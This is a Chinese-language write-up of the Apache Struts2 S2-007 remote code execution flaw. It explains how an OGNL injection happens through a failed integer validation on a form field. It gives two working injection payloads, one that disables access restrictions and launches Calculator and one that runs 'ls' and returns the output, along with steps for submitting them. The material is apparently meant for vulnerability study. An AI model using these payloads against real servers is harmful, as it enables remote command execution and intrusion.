S2-007 远程代码执行漏洞

S2-007 远程代码执行漏洞

受影响的版本:2.0.0 - 2.2.3

详情:http ://struts.apache.org/docs/s2-007.html

参考

http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html

<ActionName> -validation.xml配置验证规则时。如果类型验证转换失败,服务器会拼接用户提交的表单值字符串,然后进行OGNL表达式解析并返回。

例如这里是一个UserAction

1
2
3
4
5
6
7
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;

(...)

UserAction-validation.xml配置:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>

当用户age以 astr而不是a 提交时int,服务器会与代码拼接"'" + value + "'",然后使用 OGNL 表达式对其进行解析。要想成功expliot,我们需要找到一个配置了类似验证规则的表单域来进行转换错误。然后就可以像注入 SQL 单引号一样注入任何 OGNL 表达式代码。

绕过安全配置的有效负载:

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app")) + '

漏洞复现

这是可以执行任意代码的EXP:

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream())) + '

需要URL编码后,将EXP放入输入框(age),然后得到命令执行结果:

image-20220209173228467

0%